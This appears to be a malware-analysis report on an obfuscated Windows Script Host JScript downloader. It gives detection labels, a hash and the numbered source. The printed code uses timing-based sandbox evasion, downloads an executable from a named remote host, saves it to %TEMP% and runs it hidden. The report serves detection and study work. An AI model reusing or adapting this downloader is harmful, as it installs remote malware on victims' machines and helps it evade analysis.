20160328_44db1fd57f4894cff5ec530e76d91f12.js
WSH downloader executes remote exe
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256e489d98c696fbefce4ed8ae57e31c7563f57cedfbff644698050b7038a535802
Evidence
1var Ndqkfjm = false;
2var Qetfoznkr = "CreateObject";
3var Zcmsuwpvhw = function Xuundvs() {return WScript[Qetfoznkr]("WScript.Shell");}();
4var Cbuxwkhzfe = 123213;
5var Nbthkxnb = "MSXML2.XMLHTTP";
6var Atqhtgz = 2123213;
7var Qdalczxr = 0;
8function Pfrtg(Iisewb){Zcmsuwpvhw["Run"](Iisewb, Qdalczxr, Qdalczxr);};
9function Fznvnva(){return Nbthkxnb;};
10function Oilpp(Dxxdg, Wjoqcm){return Dxxdg - Wjoqcm;};
11function Fdzjlc(){return Qetfoznkr;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Ndqkfjm = true;
15 @end
16@*/
17var Xuhxbh = "";
18if (Ndqkfjm)
19{
20function Egzwf(){return 22;};
21var Jxbes = 0; var Jlikuqy = 0;
22function Waavekzb()
23{
24var Avqqdscd = new this["Date"]();
25var Shfxaavjv = Avqqdscd["getUTCMilliseconds"]();
26WScript["Sleep"](Egzwf());
27var Avqqdscd = new this["Date"]();
28var Mlqqi = Avqqdscd["getUTCMilliseconds"]();
29WScript["Sleep"](Egzwf());
30var Avqqdscd = new this["Date"]();
31var Wrzpxmfy = Avqqdscd["getUTCMilliseconds"]();
32var Jxbes = "Yderrrkog";
33Jxbes = Oilpp(Mlqqi, Shfxaavjv);
34var Jlikuqy = "Eocbgn";
35Jlikuqy = Oilpp(Wrzpxmfy, Mlqqi);
36Xuhxbh = "open";
37return Oilpp(Jxbes, Jlikuqy);
38}
39var Ilmef = false;
40var Mpryt = false;
41for (var Cnungeca = Qdalczxr; Cnungeca < Egzwf() * 1; Cnungeca++){if (Waavekzb() != Qdalczxr){
42Ilmef …
48:81…
49if (Ilmef && Jgwuw() && Mpryt){
50function Gtjsnowpe() {return Zcmsuwpvhw["ExpandEnvironmentStrings"]("%TEMP%/") + "CFCwUaohX9O.exe";};
51 Mqasgzlcgx = Fznvnva();
52 Czsrly = WScript[Qetfoznkr](Mqasgzlcgx);
53 var Yculwzs = 1;
54 while (Yculwzs){
55try {
56Czsrly[Xuhxbh]("GET", "http://gydkym.com/dk3s8sja", false);
57Czsrly["send"]();
58Nipzk = "Sleep";
59do {WScript[Nipzk](Egzwf() * 11)} while (Czsrly["readystate"] < 4 );
60Yculwzs = Qdalczxr;
61} catch(Njbyohfbz){Yculwzs = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Tmierkgjp(Vimixzwj) {var Qzfpyatihq = (1, 2, 3, 4, 5, Vimixzwj); return Qzfpyatihq;};
64Zhuehui = WScript[Fdzjlc()]("ADODB.Stream");
65Mqasgzlcgx = Zhuehui;
66Mqasgzlcgx[Xuhxbh]();
67Mqasgzlcgx["type"] = Tmierkgjp(1);
68Mqasgzlcgx["write"](Czsrly["ResponseBody"]);
69Zhuehui["position"] = Tmierkgjp(Qdalczxr);
70Mqasgzlcgx["SaveToFile"](Gtjsnowpe(), Tmierkgjp(2) );
71Zhuehui["close"]();
72Pfrtg(Gtjsnowpe());
73}
74}
75